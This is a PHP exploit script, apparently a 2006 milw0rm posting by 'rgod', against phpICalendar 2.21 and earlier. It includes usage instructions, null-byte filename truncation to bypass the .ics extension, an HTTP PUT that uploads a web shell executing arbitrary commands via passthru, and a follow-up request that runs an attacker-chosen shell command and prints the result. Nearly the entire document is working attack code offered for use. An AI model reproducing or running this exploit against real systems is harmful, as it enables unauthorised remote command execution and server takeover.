147 lines
No EOL
3.9 KiB
PHP
147 lines
No EOL
3.9 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
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echo "by rgod rgod<AT>autistici<DOT>org\r\n";
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echo "site: http://retrogod.altervista.org\r\n";
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echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
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# short explaination: phpICal lets users upload/delete files in WebDAV style
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# through PUT / DELETE method; calendars/ folder by default is not protected
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# by any authentication measure. Uploaded files have .ics extension but with
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# a trick you can break filename through a null char to have a php file
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# (this works always beacuse magic_quotes_gpc does not work with
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# HTTP_RAW_POST data)
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if ($argc<3) {
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echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to phpICal\r\n";
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echo "\r\n";
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echo "cmd: a shell command\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
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die;
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}
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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$host=$argv[1];
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$path=$argv[2];
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$cmd="";$port=80;$proxy="";
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for ($i=3; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P"))
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{$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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$cmd=urlencode($cmd);
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
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$data.='
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<?php
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if (get_magic_quotes_gpc())
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{$_GET[cmd]=stripslashes($_GET[cmd]);}
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ini_set("max_execution_time",0);
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echo "Hi Master!";
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echo 666;
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passthru($_GET[cmd]);
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echo 666;
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?>
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';
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$packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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#debug, shows packets in a nice format
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#echo quick_dump($packet);
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sendpacketii($packet);
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sleep(1);
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$packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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if (strstr($html,"666")) {
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echo "Exploit succeeded...\r\n";
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$temp=explode("666",$html);
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echo $temp[1];}
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else {echo "Exploit failed...";}
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?>
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# milw0rm.com [2006-03-15]
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